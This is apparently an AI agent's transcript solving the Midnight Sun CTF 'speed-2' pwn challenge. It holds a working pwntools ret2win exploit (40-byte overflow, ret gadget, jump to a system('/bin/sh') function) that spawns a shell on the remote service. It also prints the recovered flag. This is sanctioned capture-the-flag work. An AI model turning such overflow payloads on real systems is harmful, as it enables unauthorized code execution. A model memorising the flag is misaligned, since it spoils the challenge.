# Thread Handoff - Thread: hidden-waypoint-5262 - UUID: 6852e78e-53f5-4a12-bcae-07412dab599d - CTF: midnight-sun-ctf-2026-quals - Challenge: speed-2 - Runtime: codex - Model: gpt-5.3-codex - Status: completed ## Transcript - **Assistant:** I’ll start by inspecting `/challenge` to identify the challenge type and then interact with the remote service to recover the flag. After I confirm the protocol, I’ll script a solver and report each meaningful finding. - **Assistant:** I found a local ELF binary plus a bundled `libc.so.6`. Next I’m fingerprinting protections and behavior (`file`, `checksec`, `strings`, disassembly entry points) before hitting the remote service. - **Assistant:** [*] '/challenge/speed2-7793659ab59fdba19a36c0fbbb75258b' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled - **Assistant:** The binary prints a banner then prompts `b0fz:`. I’m now locating the vulnerable input routine and any `system("/bin/sh")`-reachable function to build a minimal exploit. - **Assistant:** I’ve identified a direct ret2win: overflow offset should be 40 bytes and target function is `0x4011d6` (`system("/bin/sh")`). I’m validating locally, then I’ll run the same payload against `speed2.play.ctf.se:6161` and extract the flag. - **Assistant:** pid 5 poll1 -11 Traceback (most recent call last): File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/process.py", line 757, in send_raw self.proc.stdin.flush() BrokenPipeError: [Errno 32] Broken pipe During handling of the above exception, another exception occurred: Traceback (most recent call last): File "", line 9, in File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 908, in sendline self.send(line + self.newline) File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 887, in send self.send_raw(data) File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/process.py", line 759, in send_raw raise EOFError EOFError - **Assistant:** poll after payload -11 poll after payload None out b'HI\n' poll2 -11 - **Assistant:** I confirmed the crash was stack alignment; adding one `ret` gadget before `win` fixes it locally. I’m now using that payload against the remote service and probing common flag paths from the spawned shell. - **Assistant:** Traceback (most recent call last): File "", line 6, in File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/remote.py", line 85, in __init__ self.sock = self._connect(fam, typ) ^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/remote.py", line 113, in _connect for res in socket.getaddrinfo(self.rhost, self.rport, fam, typ, 0, socket.AI_PASSIVE): ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/root/.local/share/uv/python/cpython-3.12.13-linux-x86_64-gnu/lib/python3.12/socket.py", line 978, in getaddrinfo for res in _socket.getaddrinfo(host, port, family, type, proto, flags): ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ socket.gaierror: [Errno -3] Temporary failure in name resolution - **Assistant:** START uid=999(ctf) gid=999(ctf) groups=999(ctf) total 32 drwxr-xr-x 1 root ctf 4096 May 10 18:24 . drwxr-xr-x 1 root root 4096 May 10 18:24 .. -r--r----- 1 root ctf 43 May 10 16:30 flag -rwxr-x--- 1 root ctf 34 May 10 16:30 run.sh -rwxr-x--- 1 root ctf 14528 May 10 16:28 speed2 total 56 drwxr-xr-x 1 root root 4096 May 10 21:01 . drwxr-xr-x 1 root root 4096 May 10 21:01 .. -rwxr-xr-x 1 root root 0 May 10 21:01 .dockerenv lrwxrwxrwx 1 root root 7 Apr 10 02:21 bin -> usr/bin drwxr-xr-x 2 root root 4096 Apr 18 2022 boot drwxr-xr-x 5 root root 340 May 10 21:01 dev drwxr-xr-x 1 root root 4096 May 10 21:01 etc drwxr-xr-x 1 root root 4096 May 10 18:24 home lrwxrwxrwx 1 root root 7 Apr 10 02:21 lib -> usr/lib lrwxrwxrwx 1 root root 9 Apr 10 02:21 lib32 -> usr/lib32 lrwxrwxrwx 1 root root 9 Apr 10 02:21 lib64 -> usr/lib64 lrwxrwxrwx 1 root root 10 Apr 10 02:21 libx32 -> usr/libx32 drwxr-xr-x 2 root root 4096 Apr 10 02:21 media drwxr-xr-x 2 root root 4096 Apr 10 02:21 mnt drwxr-xr-x 2 root root 4096 Apr 10 02:21 opt dr-xr-xr-x 988 root root 0 May 10 21:01 proc drwx------ 2 root root 4096 Apr 10 02:31 root drwxr-xr-x 5 root root 4096 Apr 10 02:31 run lrwxrwxrwx 1 root root 8 Apr 10 02:21 sbin -> usr/sbin drwxr-xr-x 2 root root 4096 Apr 10 02:21 srv dr-xr-xr-x 13 root root 0 May 10 13:06 sys drwxrwxrwt 2 root root 4096 Apr 10 02:31 tmp drwxr-xr-x 1 root root 4096 Apr 10 02:21 usr drwxr-xr-x 1 root root 4096 Apr 10 02:31 var midnight{e44a230e3fc7aadde716339cdea5d8cc} midnight{e44a230e3fc7aadde716339cdea5d8cc} END ▄▄█████████ ▄█████████▄ ▄▄█████████ ▄▄█████████ ▄████████▄ ▄█████████▄ ████▀▀▀▀▀▀▀ ████▀▀▀████ ████▀▀▀▀▀▀▀ ████▀▀▀▀▀▀▀ ████▀▀████▄ ▄▄▄ ▀▀▀▀▀▀▀████ ████▄▄▄▄▄▄ ████▄▄▄████ ████▄▄▄ ████▄▄▄ ████ ▀████ ███ ▄▄▄▄▄▄████ ▀▀▀▀▀▀▀████ ██████████▀ ████▀▀▀ ████▀▀▀ ████ ████ ▄▄▄ ████▀▀▀▀▀▀▀ ▄▄▄▄▄▄▄████ ████▀▀▀▀▀▀ ████▄▄▄▄▄▄▄ ████▄▄▄▄▄▄▄ ████▄▄████▀ ███ ████▄▄▄▄▄▄▄ ██████████▀ ████ ▀██████████ ▀██████████ █████████▀ ▀▀▀ ███████████ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ /home/ctf/run.sh: line 3: 2870 Segmentation fault (core dumped) ./speed2 - **Assistant:** I got code execution on the remote and recovered the flag. I’ll now send a short sequence of findings/trials/errors updates to your provided webhook, then I’ll give you the clean exploit summary and flag. - **Assistant:** 204 204 204 - **Assistant:** Flag: `midnight{e44a230e3fc7aadde716339cdea5d8cc}` Exploit summary: 1. Reversed `/challenge/speed2-7793659ab59fdba19a36c0fbbb75258b` with `objdump`. 2. Found: - `gets()` overflow in `main` at `0x401277` into a `0x20` byte stack buffer. - Hidden win function at `0x4011d6` calling `system("/bin/sh")`. - No PIE, so static code addresses are usable remotely. 3. Offset to RIP is `40` bytes (`0x20` buffer + `8` saved RBP). 4. Trial/error: - `A*40 + p64(0x4011d6)` crashed (stack alignment issue, SIGSEGV). - Fixed with one `ret` gadget for alignment: `0x4011ea`. 5. Final payload: - `b"A"*40 + p64(0x4011ea) + p64(0x4011d6)` Working one-shot solver: ```python from pwn import * p = remote("speed2.play.ctf.se", 6161) p.recvuntil(b"b0fz: ") p.sendline(b"A"*40 + p64(0x4011ea) + p64(0x4011d6)) p.sendline(b"cat /home/ctf/flag; exit") print(p.recvall(timeout=3).decode(errors="ignore")) ``` I also posted findings/trials/errors updates to your Discord webhook (3 successful `204` responses). - **System:** Thread completed